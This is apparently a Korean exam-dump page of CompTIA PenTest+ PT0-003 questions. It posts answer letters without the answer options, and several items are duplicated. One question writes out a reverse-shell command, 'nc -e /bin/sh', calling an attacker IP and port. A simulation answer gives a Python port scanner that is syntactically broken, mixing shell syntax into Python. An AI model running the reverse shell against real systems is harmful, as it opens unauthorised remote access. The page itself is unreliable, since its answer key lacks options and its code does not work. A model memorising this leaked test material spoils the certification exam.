최신 PT0-003 무료덤프 - CompTIA PenTest+
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?
정답: A
설명: (DumpTOP 회원만 볼 수 있음)
A penetration tester needs to help create a threat model of a custom application. Which of the following is the most likely framework the tester will use?
정답: B
설명: (DumpTOP 회원만 볼 수 있음)
SIMULATION
Using the output, identify potential attack vectors that should be further investigated.
Using the output, identify potential attack vectors that should be further investigated.
정답:
See explanation below
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)
A penetration tester discovers evidence of an advanced persistent threat on the network that is being tested. Which of the following should the tester do next?
정답: C
설명: (DumpTOP 회원만 볼 수 있음)
A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:
nc -e /bin/sh 10.10.10.16 4444
Which of the following would most likely bypass the filtered space character?
nc -e /bin/sh 10.10.10.16 4444
Which of the following would most likely bypass the filtered space character?
정답: A
설명: (DumpTOP 회원만 볼 수 있음)
A penetration tester writes the following script to enumerate a 1724 network:
1 #!/bin/bash
2 for i in {1..254}; do
3 ping -c1 192.168.1.$i
4 done
The tester executes the script, but it fails with the following error:
-bash: syntax error near unexpected token `ping'
Which of the following should the tester do to fix the error?
1 #!/bin/bash
2 for i in {1..254}; do
3 ping -c1 192.168.1.$i
4 done
The tester executes the script, but it fails with the following error:
-bash: syntax error near unexpected token `ping'
Which of the following should the tester do to fix the error?
정답: D
설명: (DumpTOP 회원만 볼 수 있음)
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?
정답: D
설명: (DumpTOP 회원만 볼 수 있음)
A penetration tester is compiling the final report for a recently completed engagement. A junior QA team member wants to know where they can find details on the impact, overall security findings, and high-level statements. Which of the following sections of the report would most likely contain this information?
정답: A
설명: (DumpTOP 회원만 볼 수 있음)
SIMULATION
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
정답:
See the explanation part for detailed solution
Explanation:
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
Two best remediation options:
Restrict direct communications to App01.example.com to only approved components.
Require an additional authentication header value between CDN.example.com and App01.example.com.
Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
Explanation:
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
Two best remediation options:
Restrict direct communications to App01.example.com to only approved components.
Require an additional authentication header value between CDN.example.com and App01.example.com.
Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?
정답: A
설명: (DumpTOP 회원만 볼 수 있음)